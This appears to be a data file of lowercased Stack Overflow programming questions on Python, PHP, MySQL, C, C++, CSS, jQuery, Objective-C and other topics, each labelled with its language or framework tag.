read datafile with python to an array  this question is totally simple  but i don t get it done since hours: i got a datafile  that contains two columns of data  separated by an tab. i want to read and process them with python. <code>alldata</code> contains the data  but how can i access parts of it    <pre><code>with open(  file.txt    r  ) as mergedata:     alldata = mergedata.read()  print alldata </code></pre>,python
installing mysql 5.7.16 stuck  i am installing mysql 5.7.16 first three steps sre completed but it stucks 2 hour has gone still not proced<a href= https://i.stack.imgur.com/ko3uh.png  rel= nofollow >enter image description here</a>,mysql
multiple undefined index showing in index.php  i am learning to use php to make dynamic webpages. i created the my site through a tutorial. it works beautifully except the following lines keep coming up on my index.php page:    notice: undefined index: page in c:\xampp\htdocs\janewoo_new\index.php on line 6 notice: undefined index: page in c:\xampp\htdocs\janewoo_new\index.php on line 8 notice: undefined index: page in c:\xampp\htdocs\janewoo_new\index.php on line 10 ...    here are my code on the index.php:   <pre><code>&lt; php  include( includes/header.html ); include( includes/navbar.html );  if($_get[ page ]== traditional_teampage.html ){ include( includes/traditional_teampage.html  ); }else if($_get[ page ]== traditional_mediapage.html ){ include( includes/traditional_mediapage.html ); }else if($_get[ page ]== traditional_faqpage.html ){ include( includes/traditional_faqpage.html ); }else if($_get[ page ]== traditional_casepage.html ){ include( includes/traditional_casepage.html ); }else if(isset($_get[ page ])== consumer-proposal.html ){ include( includes/consumer-proposal.html ); }else if($_get[ page ]== bankruptcy.html ){ include( includes/bankruptcy.html ); }else if($_get[ page ]== community.html ){ include( includes/community.html ); }else if($_get[ page ]== traditional_contactpage.html ){ include( includes/traditional_contactpage.html ); }else{ include( includes/traditional_home.html ); }  include( includes/footer.html );   &gt; </code></pre>   i put isset() as described in other people s answers but then the buttons all go to the first same page. i am more a designer than a programmer  and i am doing my best to learn php. hope someone can help me. much appreciated.,php
smtpexception (syntactically invalid ehlo argument)  we just changed our .net mailsettings to target a new smtp server but we experience the following issue when trying to send e-mail  syntax error in parameters or arguments. the server response was: syntactically invalid ehlo argument(s)     i assume our parameters (username  host  password and port) are correct as if we deploy the same app in another server  everything is working.     can the name of the server where we have the issue (machine name contains underscore) be responsible for this smtp exception  if so  what should be the best way to fix it      thank you!    edit:    we are using basic .net system.net.mail.smtpclient such as   <pre><code>client = new system.net.mail.smtpclient(host  convert.toint32(port)) {     credentials = new networkcredential(username  password) }; client.send(message); /*where message is an instance of mailmessage */ (host xx.xx.gridserver.com  username xx@xxx.com  port 587)  </code></pre>,.net
how to make div with responsive image and dynamic text overlay  how to make this background image responsive and have the text stay in a specific placement on the image (as it gets resized)      <a href= http://jsfiddle.net/webtiki/dj7hb/7/  rel= nofollow noreferrer >http://jsfiddle.net/webtiki/dj7hb/7/</a>    html:   <pre><code>&lt;div class= wrapper &gt; &lt;img src= your_image  /&gt; &lt;div class= content &gt;     &lt;div&gt;         &lt;div&gt;              blahblab         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>.wrapper { width:960px; margin:0 auto; position:relative; } .wrapper &gt; img { width:100%; height:auto; } .content { top:0; position:absolute; width:100%; height:100%; } .content &gt; div { display:table; width:100%; height:100%; } .content &gt; div &gt; div { display:table-cell; vertical-align:middle; text-align:center; } </code></pre>,html
select element option values  i am doing a <code>select</code> in html then i have something in the js part like this   <pre><code>var languageen =  en 1 ; var languagefr =  fr 2 ; var languagede =  de 3 ; </code></pre>   and my html markup will be like    <pre><code>&lt;select style= display: none;  id= select &gt;   &lt;option value=languageen&gt;english&lt;/option&gt;   &lt;option value=languagefr&gt;francais&lt;/option&gt;   &lt;option value=languagede&gt;deutsch&lt;/option&gt; &lt;/select&gt; </code></pre>   but it seems that i am hitting undefined.     i been trying to find whats the correct syntax to include in the <code>option value</code> but no avail. thanks.,html
what s the purpose of the file  pylab.py   i looked at the file  pylab.py  at <em>matplotlab</em> s directory and found that it contains a great bunch of <code>import</code>s  and then defines a single variable  <code>bytes</code>  at the last line. here is the last several lines of this file:   <pre><code>from numpy.fft import * from numpy.raenter code herendom import * from numpy.linalg import *  import numpy as np import numpy.ma as ma  # don t let numpy s datetime hide stdlib import datetime  # this is needed  or bytes will be numpy.random.bytes from #  from numpy.random import *  above bytes = six.moves.builtins.bytes </code></pre>   i wonder what s the purpose of such a file when it only defines a seemingly useless variable. as a result  what s the purpose of writing code like <code>from matplotlib import pylab</code>,python
set with/height of embed iframe like youtube  when you embed a movie from youtube  you have the opportunity to change the width and height of the iframe element. when you type in your desired values  you see that the html code inside the texarea is changed so the user can just copy paste.    how do you make this happen     this is what i tried:   <pre><code>&lt;input type= text  id= width &gt;  &lt;textarea id= code &gt;     &lt;iframe src= ...  width= 224  height= 144  frameborder= 0  id= embed-widget &gt;&lt;/iframe&gt; &lt;/textarea&gt;  &lt;script&gt; $(function() {     $( #width ).keyup(function(){         var new_width = $(this).val();         $( #embed-widget ).attr( width  new_width);     }); }); </code></pre>       this don t work inside the textarea  but the exact same code work on the iframe element itself on the page (when i put the id on to it)    also  is there a easy way to make the whole text marked when the user clicks the text area,javascript
what are the best practices for writing maintainable css   i am just starting to explore this area and wonder what are the best practices when it comes to production of clean  well-structured and maintainable csses.    there seems to be few different approaches to structuring css rules.    one of the most commonly encountered ones i saw was throwing everything together in one rule  i.e. margins  borders  typefaces  backgrounds  something like this:   <pre><code>.my-class {     border-top:1px solid #c9d7f1;     font-size:1px;     font-weight:normal;     height:0;     position:absolute;     top:24px;     width:100%; } </code></pre>   another approach i noticed employed grouping of properties  say text-related properties like font-size  typeface  emphasis etc goes into one rule  backgrounds go into other  borders/margins go into yet another one:   <pre><code>.my-class {     border-top:1px solid #c9d7f1; }  .my-class {     font-size:1px;     font-weight:normal; }  .my-class {     height:0;     top:24px;     width:100%;     position:absolute; } </code></pre>   i guess i am looking for a silver bullet here which i know i am not going to get  bet nevertheless - what are the best practices in this space,css
create csv based on a object property assigned dynamically  i need to build a csv string based on a specific property from an object stored in a list but i ve got to do this for multiple properties:    the below works fine when  hardcoded :   <pre><code>var list = customers.select(p =&gt; p.email).toarray(); csvstring = string.join( ;   list1); </code></pre>   but i obviously don t want to have to do this for every property i need. is there a way for me to build a function and assign the property name i want to use to one of the parameters. something similar to this:   <pre><code>var emails = convertcollectiontocsv(customers   email ); var names = convertcollectiontocsv(customers   name ); var mobile = convertcollectiontocsv(customers   mobile ); ... </code></pre>   i thought i d try the following:   <pre><code>private string convertcollectiontocsv(list&lt;customer&gt; customers  string propertyname) {    var prop = typeof(emailaddress).getproperties().firstordefault    (p =&gt; p.name.tolowerinvariant() == propertyname.tolowerinvariant());     var list = customers.select(p =&gt; prop.name).toarray();    return string.join( ;   list); } </code></pre>   but when called:   <pre><code>var emails = convertcollectiontocsv(customers   email ); </code></pre>   it returns email;email;email instead of the email address which makes sense as the prop.name is used. i m trying to use the getvalue instead:   <pre><code>var list = customers.select(p =&gt; prop.getvalue(p)).toarray(); </code></pre>   but that s throwing the following error:   <pre><code> object does not match target type.  </code></pre>   any suggestions     thanks,c#
storing user data to file (text boxes  check buttons etc)  i have a gui (c#)  to configure some hardware attached to the computers serial port. i want to include the option that enables the user to save all configuration data from textboxes  checkboxes etc into some filetype. then i want the user to have the option to reopen the filetype to update textboxes  combobox indexes  checkboxes etc in the gui. in total i have about 100 types of textboxes  comboboxes checkboxes in this gui.    whould xml files be too inconvenient  other better ways to save this user configuration,c#
how to use older version assembly in gac when newer versions are also available   i have an assembly with multiple versions  all have been deployed in gac. now by default the latest version assembly is used by the program which uses it  how do i use any previous versions,.net
how to pass a subvector of a 2d vector in a function in c++ <pre><code>void solution::rotate(vector&lt;vector&lt;int&gt; &gt; &amp;a) {    int n= a.size(); int temp[n]; for(int j=0;j&lt;n;j++) {     temp[j]=a[n-1][j]; }    for(int i=0;i&lt;n-1;i++)    {        a[n-1][i]=a[n-i-1][n-1];        a[n-i-1][n-1] = a[0][n-i-1];        a[0][n-i-1]=a[i][0];        a[i][0]=temp[i];        //a[i+1][0]=a[n-1][i+1];   } } </code></pre>   i want to call the function again and pass the subarray of original array with starting point as (1 1) of the array and the end point as (n-2 n-2) of the array. is it possible to get it done without creating a new vector  i mean just by passing some pointer to the function,c++
how to integrate a web template in mvc architecture in ruby mine   how to integrate a web template on ruby mine ide to make it ready for further working . i have searched many times on google but didn t got any satisfying answer. as i am a beginner at ruby and on rails framework so please tell me. thank you.,ruby-on-rails
mysql asterisk in query <pre><code>update phpn_banned_ip  set ip_address = substring(ip_address  1  length(ip_address)-3)&amp; \*   where id=2 </code></pre>   when running this query in mysql  it zeros out the ip address. any ideas on how to make the last character an asterisk (*),mysql
reading a pointer declaration <pre><code># include &lt;stdio.h&gt; # include &lt;stdlib.h&gt;     int main(int argc  char *argv[]) {     int daytab[2][13];     int (*daytab)[13];     int *px;      return exit_success; } </code></pre>   i am studying pointers and having difficulty reading the <code>int (*daytab)[13]</code> declaration. <code>int *px</code> is read as <code>px</code> is a pointer to a <code>int</code>.    how do you read <code>int (*daytab)[13]</code>,c
check if string contains variable name if so add to it  i am not sure if this is possible in java  and know how to code this if this is not possible. however if there is a quicker/more compact way to do this please help me find it.    allow me to explain what i am doing. i have 20 movies genres (currently just set up as 20 int variables). i also am loading in a bunch of strings  if the string contains a genre (aka if it has  action ) i do action++    however this would require 20 if statments  one for each genre. such as:   <pre><code>if(mystring.contains( action ) action++; </code></pre>   was wondering if there was more generic way to do this like this:   <pre><code>if(mystring.contains(t) t++; </code></pre>   where t is my genre list.    is this possible in java,java
how do i find a string in a file   i m new at c and recently finished my work with files. i tried to create a program which will find an entered name in a file but it does not work. could you try to repair it   i ll be thankful.   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  int main() {     file *fr;     int i p counter final length j c k = 0;     char name[256];     char buffer[1024];      fr = fopen( c:/users/prixi/desktop/hesla.txt   r );     while ((c = fgetc(fr)) != eof)         counter++;      printf( enter the name );     scanf( %s  &amp;name);     length = strlen(name);      while (fscanf(fr    %1023[^\n]   buffer) != eof) {         for (i = 0; i &lt;= counter; i++)             if (name[0] == buffer[i]){                 for (j = 0;j &lt; length; j++ )                     if (name[j] == buffer[i+j])                         p++;                     else                         p = 0;                /* the 2nd condition is there because after every name there is    . */               if (p == length &amp;&amp; buffer[i+j+1] ==    )                   final = 1;           }      }       if ( final == 1 )          printf( its there );      else          printf( its not there );  return 0; } </code></pre>   it loads the inside of the file to the buffer and then scans char by char depending on how long the file is. i know that it s inefficient and slow  but i have been learning c only for like 4 days. i would really like you to help me fixing my own code otherwise :d i probably wont be able to fall asleep.,c
html - recomnended href link sytanx  we can give the href like the following   <pre><code>&lt;a href= images\image.png &gt;  &lt;a href= images/image.png &gt;  &lt;a href= .\images\image.png &gt;  &lt;a href= ./images/image.png &gt; </code></pre>   which is the recommended method... which doesnot have problem on any browser and on any web server....    leave the image type... consider the link\paths    and <strong>please</strong> explain why the specific one,html
rails: how can i make an object available in all views   i have a <code>search</code> object which is created in my galleries controller and displayed in my galleries view:    <strong>app/controllers/galleries_controller.rb</strong>                                                                            <pre><code>class galleriescontroller &lt; applicationcontroller   def index     @galleries = gallery.all     @search = search.new   end </code></pre>   this object represents a search bar. i want to move the search bar into my <code>layouts/application.html.erb</code> view and make it available on all pages in the header. this would require me to make the <code>search</code> object globally available  and i am not sure how to do that. i tried sticking in applicationcontroller and thought that would make it available in all views since everything inherence from there  but it didn t work. how can i make an object available in all views,ruby-on-rails
what is wrong with this code no matching function for call to   what is wrong with this code   no matching function for call to fun1(z*)   <pre><code>int  fun1(int &amp;z) { return z+4; } int  fun2(int &amp; z) { return z*3; } void main() { int b=6; int m=fun1(fun2(b)); } </code></pre>,c++
changing the value of a boolean variable using ng-click  i m new to angularjs and am making a web app which is supposed to filter out certain games depending on which day the team plays.  i m trying to change the value of a boolean variable with an ng-click  but it doesn t seem to be working as intended.    here my html   <pre><code>&lt;body ng-controller= matchupcontroller as matchupctrl &gt;     &lt;div class= jumbotron  ng-controller= daycontroller as dayctrl &gt;      &lt;button type= button  class= btn btn-info  ng-click= tnf() &gt;thursday games&lt;/button&gt;  &lt;/div&gt;  &lt;div class= row  ng-repeat= team in matchupctrl.teams  ng-hide= team.tnf &gt;     &lt;div class= col-sm-5 well &gt;         &lt;h3&gt;home&lt;/h3&gt;         {{team.home.name}}     &lt;/div&gt;     &lt;div class= col-sm-5 well  &gt;         &lt;h3&gt;away&lt;/h3&gt;         {{team.away.name}}     &lt;/div&gt;  &lt;/div&gt; </code></pre>        ...and my js   <pre><code>var app = angular.module( mainapp   []); app.controller( matchupcontroller  function(){    this.teams = matchups;  });   var matchups = [ {     home:{          name: cincinnati bengals           homeimage:{ background-image :  url(http://prod.static.bengals.clubs.nfl.com/assets/img/gbl-hd-bg.jpg) }      }      away:{          name: miami dolphins       awayimage:{ background-image :  url(http://blog-imgs-70.fc2.com/o/f/f/offseason2012/dolphins.jpg) }  }      location:  paul brown stadium  cincinnati       time:  8:25pm       date:  2016-09-29       tnf: false  }  {     home:{         name: jaxonville jaguars           homeimage:{ background-image :      url(http://nfasl.spruz.com/gfile/75r4!-!jehjeg!-!zrzor45!-!ljpknqqg-jjsj-    hhmr-nnjr-eplfjomglimd/jacksonville_jaguars_banner.jpg) }      }      away:{         name: indianapolis colts           awayimage: { background-image :  url(http://www.851facebook.com/images/sports-nfl-afc-south-indianapolis_colts-night-football-rugby-facebook-timeline-cover-banner-for-fb-profile.jpg) }      }      location:  wembley stadium  london       time:  9:30am       date:  2016-10-02       snf: false             }  {     home: {         name: minnesota vikings           homeimage: { background-image :  url(http://611enterprises.com/wp-content/uploads/2014/11/minnesota_vikings_banner.jpg) }        }      away: {         name:  new york giants           awayimage: { background-image :  url(http://www.covermyfb.com/media/covers/thumb/3895-new-york-giants.jpg) }      }      location:  u.s. bank stadium  minneapolis       time:  8:30pm       date:  2016-10-03       mnf: false             } ] app.controller( daycontroller  function() {     var tnf = function() {        matchups.tnf = !matchups.tnf;         return matchups.tnf;      } }); </code></pre>   i want to change the value of tnf so it will hide in the display when the user clicks the button (i.e. changes the value of tnf to true).,angularjs
change column value based on another column using mysql triggers  i want a trigger to be able to change the value of status=1 when balance is 0 and status=0 when the value of balance is not equal to 0 after update only ..    <a href= https://i.stack.imgur.com/kej8g.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/kej8g.jpg  alt= mysql table ></a>,mysql
simple c++ compiler for windows  thought i d write something in c++ instead of some interpreted languages (cause i need the performance for something simple) and went around trying different tools.    first i found cygwin cause it had g++  but it requires cygwin.dll to run the exe s.      then i tried mingw  but it seems like i need to include some dll s with the distribution like libgcc and libgstd or something  which bloats the executable to about a mb (i don t really need that many bytes to do simple file i/o)    then i looked at visual c++ 2010 since i already had it installed  but it looks like i need to install 2008 just to use .net framework 3.5. well  i wouldn t mind using 4.0  but i imagine there are many people that don t have 4.0 on their windows machines and it would be quite an inconvenience to read a file.    what can i use that will allow me to pass around small exe s (eg: a few kb s worth) that perform simple one-off things that will run on most windows machines  (since it is only relevant to windows users)    or should i just use c and go with gcc for mingw,c++
initialization of bool and int  i have following code in my project.    i am getting warnings as mentioned  below: 1. assuming selectedview is >=0   2. assuming mode_changeevent is 0   <pre><code>bool modechangeevent = no; bool invokedbyuser = no; int currentzoomedview = -1; int prevbutidx = -1;  -(ibaction)zoomselectedview:(id)sender {     uisegmentedcontrol *viewselector = (uisegmentedcontrol*)sender;       int selectedview =  viewselector.selectedsegmentindex;          if (selectedview&gt;=0) {  //warning  assuming selectedview is &gt;=0            invoked_byuser = no;      } else return;       if (mode_changeevent) { //warning  assuming mode_changeevent is 0            invoked_byuser = no;              mode_changeevent = no;          selectedview = current_zoomedview;            prev_butidx = -1;     }   </code></pre>   how to get rid off these warnings,objective-c
changing the color of a selected row in an asp.net repeater  i have an asp.net repeater with an <code>imagebutton</code>. my <code>imagebutton</code> has an <code>oncommand</code> event.    <strong>my goal:</strong> when i click the <code>imagebutton</code>  i would like the color of the selected row to change.    here is an excerpt from my asp.net code. can anyone help me    <pre class= lang-xml prettyprint-override ><code>&lt;asp:repeater id= repeaterid  runat= server  onitemcommand= rpt_itemcommand &gt;   &lt;headertemplate&gt;     &lt;table cellpadding= 0  cellspacing= 0  id= table1 &gt;       &lt;thead&gt;         &lt;tr&gt;           &lt;th&gt;             &lt;asp:label id= lbl_refcode  runat= server &gt;&lt;/asp:label&gt;           &lt;/th&gt;           &lt;th style= width: 25px &gt;&lt;/th&gt;         &lt;/tr&gt;       &lt;/thead&gt;     &lt;/table&gt;   &lt;/headertemplate&gt;   &lt;itemtemplate&gt;     &lt;tr id= row  runat= server &gt;       &lt;td  style= width: 50px; &gt;         &lt;asp:label id= label2  runat= server  text= &lt;%# eval( refcode ) %&gt; &lt;/asp:label&gt;       &lt;/td&gt;       &lt;td style= width: 25px; &gt;         &lt;asp:imagebutton imageurl= icons/edit.png   commandargument= &lt;%# eval( id ) %&gt;   commandname= edit  id= imgedit  oncommand= manage  runat= server &gt;         &lt;/asp:imagebutton&gt;       &lt;/td&gt;     &lt;/tr&gt;   &lt;/itemtemplate&gt;   &lt;alternatingitemtemplate&gt;     &lt;tr id= row  runat= server &gt;       &lt;td  style= width: 50px; &gt;         &lt;asp:label id= label2  runat= server  text= &lt;%# eval( refcode ) %&gt;  &lt;/asp:label&gt;       &lt;/td&gt;       &lt;td  style= width: 25px; &gt;         &lt;asp:imagebutton imageurl= icons/edit.png   commandargument= &lt;%# eval( id ) %&gt;   commandname= edit  id= imgedit  oncommand= manage  runat= server &gt;        &lt;/asp:imagebutton&gt;      &lt;/td&gt;     &lt;/tr&gt;   &lt;/alternatingitemtemplate&gt;   &lt;footertemplate&gt;   &lt;/table&gt;   &lt;/footertemplate&gt; &lt;/asp:repeater&gt; </code></pre>,asp.net
sql create weak entity set with ternary relationship  consider the following two entity sets   <pre class= lang-sql prettyprint-override ><code>employee(id  name  address) dependent(pname  age) </code></pre>   here  <code>employee</code> is a strong entity set and <code>id</code> is its primary key. <code>dependent</code> is weak entity set and <code>pname</code> is its partial key. the entity sets are related via a weak relation policy(amount).    how should i handle the relation policy  do i need a separate table to store the relation and the amount attribute or can i include it in <code>dependent</code> table,sql
play rewind and stop button on uinavigationcontroller  requirement of my app is to have <code>uinavigationcontroller</code> at the bottom with play  rewind and stop buttons on it. play button will play audio and will have multiple <code>viewcontrollers</code>. what should be the code to display <code>uinavigationcontroller</code> at the bottom,iphone
adjust text size of webview   i would like to proportionally decrease the size of all text in a webview as easily as possible. i ve tried <code>android:textsize= ... </code> without success. api level 7.,android
objective-c block doesn t return and call it self in the block   i m learning to develop ios applications and now i m reading some objective-c source code.    this is a method to get user profile.   <pre><code>+ (void)getprofile:(void (^)(nsstring *message))completion {     nsdictionary *dic = @{@ module :@ profile };     [[self defaultmanager] post:kbaseurl parameters:dic success:^(afhttprequestoperation *operation  id responseobject) {         if ([self jsonokforresponseobject:responseobject] &amp;&amp; [self checklogin:responseobject]) {             [profilemanager sharedinstance].rank = responseobject[@ variables ][@ space ][@ group ][@ grouptitle ];             [profilemanager sharedinstance].credit = responseobject[@ variables ][@ space ][@ credits ];             [profilemanager sharedinstance].gender = responseobject[@ variables ][@ space ][@ gender ];             completion(nil);         } else {             completion(@ fail );         }     } failure:^(afhttprequestoperation *operation  nserror *error) {         completion(@ fail );     }]; } </code></pre>   my question is about the <code>completion</code> block.    i suppose that the <code>completion</code> block returns <code>void</code> and receives an <code>nsstring</code> parameter.    in the block  <strong>what does <code>completion(nil)</code> mean </strong>    does that mean the block <code>completion</code> calls it self and send <code>nil</code> as parameter     doesn t that conflict with the parameter s type <code>nsstring*</code>     i m not quite familiar with <code>block</code> in objc. can anyone give a hint,objective-c
jquery datatable - object doesn t support property or method  numeric-desc   i am using the jquery datatable  and keep getting the error with message  object doesn t support property or method  numeric-desc      the following are my codes:   <pre><code>    var otable = $( #tbsns ).datatable({          bjqueryui : true           spaginationtype :  full_numbers            bstatesave : true           idisplaylength : 10           alengthmenu : [[25  50  75  -1]  [25  50  75   all ]]           aasorting : [[1  desc ]]     }); </code></pre>   guess something wrong with aasorting  however  still tring to find out,jquery
serialize and deserialize an array of custom object using jquery  i have an array of below object  now i want to serialize and deserialize this using jquery.    is there any way of doing this.   <pre><code>var filter = function(columnindex  filtercolumnname  operator  filtercolumnvalue) {         this.columnindex = columnindex;         this.filtercolumnname = filtercolumnname;         this.operator = operator;         this.filtercolumnvalue = filtercolumnvalue;     } </code></pre>,jquery
center divs which are floated left   i want to center divs  something like:   <pre><code>&lt;div style= width:100%; &gt;      &lt;div style= float:left; width=40px; height=40px; &gt;&lt;/div&gt;     &lt;div style= float:left; width=40px; height=40px; &gt;&lt;/div&gt;     &lt;div style= float:left; width=40px; height=40px; &gt;&lt;/div&gt;     ...  &lt;/div&gt; </code></pre>   while i want the child divs to be floated so they appear on the same row  i d like them to be centered within the row horizontally. as more divs are added  they might need to eventually wrap onto another line  which is fine. but i d like those items to be centered too. something like:   <pre><code>|                    | |  x  x  x  x  x  x  | |        x  x        | </code></pre>   so in the above  enough child divs were added that the first line is completely full  then the two additional ones wrap onto another line but get centered themselves too.    what s the right style to apply here     thanks,css
how to print the middle digit of a number if so   i tried a program but it shows the first digit. i want a mid digit program by using while loop. i used the following-   <pre><code>public class mid {      public static void indra(int n) {         int a = 0  c = 0  m = 0  r = 0;         a = n;         while (n != 0) {             c++;             n = n / 10;         }         n = a;         if (c % 2 == 0) {             system.out.println( no mid digit exsist!! );         } else {             m = (c + 1) / 2;             c = 0;             while (n != 0) {                 c++;                 r = n % 10;                 if (c == r) {                     system.out.println(r);                 }                 n = n / 10;              }         }     }  } </code></pre>   but it keeps on giving the same output-   <pre><code>the mid digit of 345 is 3 </code></pre>   please help me!,java
why captivenetwork reference is used  i have to detect wifi networks available and need to connect using  my iphone application.    i found this about captivenetwork reference <a href= http://developer.apple.com/library/ios/#documentation/systemconfiguration/reference/captivenetworkref/reference/reference.html  rel= nofollow >here</a>    is this api used to detect and connect with wifi     if this is correct can you advise of other links or other api s that might also accomplish this,iphone
how to form cgpoint array in objective c  i want to get this structure   <pre><code>cgpoint addlines1[] = {     cgpointmake(30.0  150.0)      cgpointmake(41.67  145.19)      cgpointmake(53.33  103.25)      cgpointmake(65.0  131.67)      cgpointmake(76.67  106.11)      cgpointmake(88.33  110.20)      cgpointmake(100.0  111.54)      cgpointmake(111.67  112.13)      cgpointmake(123.33  115.66)      cgpointmake(135.0  123.7)      cgpointmake(146.67  125.53)      cgpointmake(158.33  115.1)      cgpointmake(170.0  69.38)      cgpointmake(181.67  112.47)      cgpointmake(193.33  65.1)      cgpointmake(205.0  103.33)      cgpointmake(216.67  92.6)      cgpointmake(228.33  54.76)      cgpointmake(240.0  79.66)      cgpointmake(251.67  53.81)      cgpointmake(263.33  56.81)      cgpointmake(275.0  88.19)      cgpointmake(286.67  74.81)      cgpointmake(298.33  28.1)      cgpointmake(310  20.0)  }; </code></pre>   in order to make some calculations and draw data.    i have <code>cgpoint *lines = appdelegate.averageresponsetimepoints;</code>    how to make array <code>addlines[]</code> from <code>*lines</code>,objective-c
what transition-property to use for transform   i m not sure it this is the right way  but i want to spin an element <br> and i know <code>transform: rotate(90deg)</code> &amp; <code>transition-property:all</code> will work  but i don t want to transition <code>all</code><br> what <code>transition-property</code> should i use  and is there a better way to create a spinning animation,css
what s causing this extra space below my h2   i m trying to get the gold title box flush with the box below it.  with margins set to 0  why aren t they butting up against one another     <a href= http://www.craftonhills.edu/testing/chctest/tweets.aspx  rel= nofollow >http://www.craftonhills.edu/testing/chctest/tweets.aspx</a>,css
elementary data structures using generic programming  i am learning c++ and as a program minimum wish to build a few elementary data structures(arrays  vectors  lists  stacks  queues  matrices etcetera) using generic programming. now  while classes for data containers are already defined in the c++ stl  i would like to learn by coding simple containers of my own.    to that end  i created <code>qparray</code> class. <code>qparray</code> data objects are fixed sized arrays. <code>qpstack</code> should accept any data container  that will be the home of the stack. just like in stl.    i have tested <code>qparray</code> and the code works well for integers.     1) i was searching the internet to see  how i could list initialize my own <code>qparray</code> like below. however  i was unable to find any references.   <pre><code>qparray&lt;int 5&gt; arr= {2 3 5 7 8}; </code></pre>   any tips or links would be immmensely helpful.    2) i tried to create a <code>qparray</code> of <code>std::string s</code>. i tried printing the one of the elements to the console  but the correct version of the <code>operator &lt;&lt; ()</code> could not be found. i am under the assumption  that &lt;&lt; is overloaded to work with std::string objects as arguments. would anyone know  why this fails     <strong>testqparray.cpp</strong>   <pre><code>qparray&lt;std::string  7&gt; arr1; arr1[0] =  c++ ; arr1[1] =  for ; arr1[2] =  quantitative ; arr1[3] =  finance ; arr1[4] =  is ; arr1[5] =  absolutely ; arr1[6] =  awesome ;  std::cout &lt;&lt; arr1.at(3) &lt;&lt; std::endl;//compile error </code></pre>   i apologize for posting the entire list <code>qparray.h</code>  but it s need for completeness.    <strong>qparray.h</strong>   <pre><code>#ifndef qparray_h #define qparray_h #include &lt;cstring&gt;  template &lt;class t  std::size_t n&gt; class qparray { private:     t* items;     int maxsize; public:     /*constructors and destructors*/     qparray();     qparray(const t value);     qparray(const qparray&lt;t  n&gt;&amp; a);     virtual ~qparray();      /* overload = operator*/     qparray&lt;t  n&gt;&amp; operator =(const qparray&lt;t  n&gt;&amp; a);      /* selectors - element access*/     t&amp; at(int index);     t&amp; operator [](int index);     t&amp; front();     t&amp; back();      /* capacity*/     bool empty();     virtual int size();     virtual int max_size();      /*operations*/     qparray&lt;t  n&gt;&amp; fill(t value); };  template &lt;class t std::size_t n&gt; qparray&lt;t  n&gt;::qparray() {     if (n &gt; 0)     {         items = new t[n];     }     maxsize = n; }  template &lt;class t  std::size_t n&gt; qparray&lt;t  n&gt;::qparray(t value) {     maxsize = n;      if (n &gt; 0)     {         items = new t[n];         for (int i = 0; i &lt; maxsize; i++)         {             items[i] = value;         }     } }  template &lt;class t  std::size_t n&gt; qparray&lt;t n&gt;::qparray(const qparray&lt;t  n&gt;&amp; a) {     maxsize = a.maxsize;     items = new t[maxsize];     for (int i = 0; i &lt; maxsize; i++)         items[i] = a.items[i]; }  template&lt;class t  std::size_t n&gt; qparray&lt;t  n&gt;::~qparray() {     if(n &gt; 0)         delete[] items; }  template&lt;class t  std::size_t n&gt; qparray&lt;t  n&gt;&amp; qparray&lt;t  n&gt;::operator =(const qparray&lt;t  n&gt;&amp; a) {     if (this == &amp;a)         return *this;      if (maxsize != a.maxsize)         throw std::runtime_error(std::string( src and target array bounds do not match ));      for (int i = 0; i &lt; maxsize; i++)     {         items[i] = a.items[i];     }      return *this; }  template &lt;class t  std::size_t n&gt; t&amp; qparray&lt;t  n&gt;::at(int i) {     return items[i]; }  template &lt;class t  std::size_t n&gt; t&amp; qparray&lt;t  n&gt;::operator [](int index) {     return items[index]; }  //access the first element of the array template &lt;class t  size_t n&gt; t&amp; qparray&lt;t  n&gt;::front() {     return items[0]; }  //access the last element of the array  template &lt;class t  std::size_t n&gt; t&amp; qparray&lt;t  n&gt;::back() {     return items[maxsize - 1]; }  template &lt;class t  std::size_t n&gt; bool qparray&lt;t  n&gt;::empty() {     if (maxsize == 0)         return true;     else         return false; }  template &lt;class t  std::size_t n&gt; int qparray&lt;t n&gt;::size() {     return maxsize; }  template &lt;class t  std::size_t n&gt; int qparray&lt;t  n&gt;::max_size() {     return maxsize; }  template &lt;class t  std::size_t n&gt; qparray&lt;t  n&gt;&amp; qparray&lt;t  n&gt;::fill(t value) {     for (int i = 0; i &lt; maxsize; i++)     {         items[i] = value;     }      return *this; }  #endif // !array_h </code></pre>,c++
error in starting mysql server from command prompt  i am new to sql   i installed mysql and i am following the book : java how to program to connect to mysql    i am getting the following error.  regarding timestamp.. i understand the reason.. but i am trying to fix  can t create test file c:\program files\mysql\mysql server 5.6\data\swati-hp.lower-test     please guide me wit respect to this   <pre><code>c:\users\swati&gt;mysqld.exe 2013-10-15 13:57:01 0 [warning] timestamp with implicit default value is depreca ted. please use --explicit_defaults_for_timestamp server option (see documentati on for more details). 2013-10-15 13:57:01 7492 [warning] can t create test file c:\program files\mysql \mysql server 5.6\data\swati-hp.lower-test 2013-10-15 13:57:01 7492 [warning] can t create test file c:\program files\mysql \mysql server 5.6\data\swati-hp.lower-test 2013-10-15 13:57:01 7492 [note] plugin  federated  is disabled. 2013-10-15 13:57:01 7492 [note] innodb: the innodb memory heap is disabled 2013-10-15 13:57:01 7492 [note] innodb: mutexes and rw_locks use windows interlo cked functions 2013-10-15 13:57:01 7492 [note] innodb: compressed tables use zlib 1.2.3 2013-10-15 13:57:01 7492 [note] innodb: not using cpu crc32 instructions 2013-10-15 13:57:01 7492 [note] innodb: initializing buffer pool  size = 128.0m 2013-10-15 13:57:01 7492 [note] innodb: completed initialization of buffer pool 2013-10-15 13:57:01 7492 [error] innodb: .\ibdata1 can t be opened in read-write  mode 2013-10-15 13:57:01 7492 [error] innodb: the system tablespace must be writable!  2013-10-15 13:57:01 7492 [error] plugin  innodb  init function returned error. 2013-10-15 13:57:01 7492 [error] plugin  innodb  registration as a storage engin e failed. 2013-10-15 13:57:01 7492 [error] unknown/unsupported storage engine: innodb 2013-10-15 13:57:01 7492 [error] aborting  2013-10-15 13:57:01 7492 [note] binlog end 2013-10-15 13:57:01 7492 [note] shutting down plugin  partition  . . . . . 2013-10-15 13:57:01 7492 [note] mysqld.exe: shutdown complete </code></pre>,mysql
